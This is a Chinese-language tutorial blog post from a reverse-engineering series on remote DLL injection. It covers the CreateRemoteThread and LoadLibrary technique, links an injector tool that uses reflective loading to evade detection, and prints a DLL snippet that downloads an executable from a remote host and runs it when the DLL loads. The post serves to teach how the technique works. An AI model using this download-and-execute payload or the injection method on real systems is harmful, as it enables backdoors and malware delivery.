iT邦幫忙

2022 iThome 鐵人賽

DAY 19
0
Security

我逆向你逆向我的逆向工程膩系列 第 19

Dx19 - DLL遠程注入攻擊 !

  • 分享至 

  • xImage
  •  

講了好久,今天終於來到了有名的 DLL遠程注入攻擊,來了解甚麼是遠程DLL注入吧。

透過 DLL注入 ,我們可以將特定的 DLL 檔案強制載入正在運行的程序來實現各種功能。可以以此獲得該軟體的權限,修改該程序使用的記憶體及功能。所以可以說上兩章利用 SetWindowsHookEx() 來使用 DLL 也是算一種 DLL 注入。

DLL注入我目前看到主要分四種方法 :

  • 遠程注入的 CreateRemoteThread、NtCreateThreadEx、RtlCreateUserThread API
  • 攔截事件的 SetWindowsHookEx() API
  • 註冊表 ( REGEDIT ) 的 LoadAppInit_DLLs
  • 劫持已存在 DLL 程序的 QueueUserAPC()SetThreadContext()

先來講解利用 CreateRemoteThread() API來執行DLL注入。

https://ithelp.ithome.com.tw/upload/images/20221003/20135675tHeCcilReh.png

來看看 DLL注入 是甚麼發生的 :

  1. 準備好 DLL 檔案 [ bad.dll ]
  2. 查詢受害者 PID 用來準備攻擊
  3. 取得目標的權限Handle ( 把它當成指向程式的指針 )。
  4. OpenProcess() 取得 DLL 得 Handle
  5. 在受害者上申請宣告注入的空間
  6. 把 bad.dll 路徑寫入記憶體
  7. 找到 kernel32.dllloadLibary() 位置並利用 CreateRemoteThread() 運行( 絕大部分程式都會預設載入 kernel32.dll )
  8. 在新 Thread 中透過一開始執行的 DllMain 來發動功能。

我們來實測看看,利用這些工具來實現一次 DLL注入。

https://github.com/Dinlon5566/IT_Reverse_Engineering/tree/main/Dx19

首先看到 InjectDll.exe,它可以用來把指定的 DLL 注入到指定的 PID。這邊已經把程式編譯成 x64 程式,可以直接在 windows 10 & 11 執行。如果無法執行請確認防毒軟體是不是阻擋了運行。

另外提一下正常透過 LoadLibary() 注入的 DLL inject 痕跡過大,太容易被偵測並阻擋。所以這份工具還使用了反射式API注入這個技術,簡單來說就是注入器自己有一個 loadLibary() 而不使用系統的並且修改導入函數表與重定向表。

InjectDll 工具來源 :
https://github.com/UserExistsError/InjectDll

再來是 getHello_run_x64.dll ,這是我寫的 DLL 程式,它可以到我的主機上下載程式並執行。

下面為主要執行的程式。

// getHello_run_x64.dll
case DLL_PROCESS_ATTACH:
	{
		HRESULT ret = URLDownloadToFileW(
			nullptr,
			L"https://ams.dinlon5566.com/Download/helloworld/HelloWorld_x64.exe",
			L"HelloWorld_x64.exe",
			0,
			nullptr
		);
		if (ret != S_OK) {
			return -1;
		}
		system("HelloWorld_x64.exe");
	}

這個網址是我演示時用的,並不會一直存在。可以改成自己的連結。

那開始實驗 :

  1. 透過 tasklist 指令或是 procexp 來查出 PID,然後就開始注入。

https://ithelp.ithome.com.tw/upload/images/20221003/20135675zuah3xz4Ek.png
https://ithelp.ithome.com.tw/upload/images/20221003/20135675Fvg60l3KNY.png

  1. 執行注入

https://ithelp.ithome.com.tw/upload/images/20221003/20135675IWQIsMQMQb.png

會發現 DLL 下載了程式,並且成功運行了。某些操作會用類似概念來下載病毒或留下後門。之後來講講 DLL 注入器是甚麼在程式上實現的。


上一篇
Dx18 - Hook : 找回你的鍵盤
下一篇
Dx20 - 遠程 DLL 注入工具解析
系列文
我逆向你逆向我的逆向工程膩31
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言